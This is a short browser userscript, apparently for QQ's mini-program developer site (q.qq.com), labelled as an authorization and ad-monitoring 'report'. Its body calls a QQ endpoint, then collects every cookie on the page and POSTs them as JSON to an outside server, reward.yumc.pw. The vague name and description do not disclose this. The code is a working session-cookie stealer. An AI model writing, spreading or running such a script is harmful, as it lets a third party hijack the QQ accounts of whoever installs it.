UserScript/qq/q.user.js
2020-09-30 08:41:32 +00:00

31 lines
962 B
JavaScript

// ==UserScript==
// @name QQ小程序授权上报
// @namespace https://qq.yumc.pw/
// @version 0.1
// @description report ad manage monitoring!
// @author MiaoWoo
// @match http*://q.qq.com
// @grant none
// ==/UserScript==
(function () {
'use strict';
fetch('https://q.qq.com/pb3/GetPreCacheUrl')
.then(r => r.json())
.then(res => {
if (res.code == 0) {
let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
pre[cur[0]] = cur[1]
return pre
}, {})
fetch('https://reward.yumc.pw/callback/qcookie', {
method: "POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(cookies)
})
}
})
})();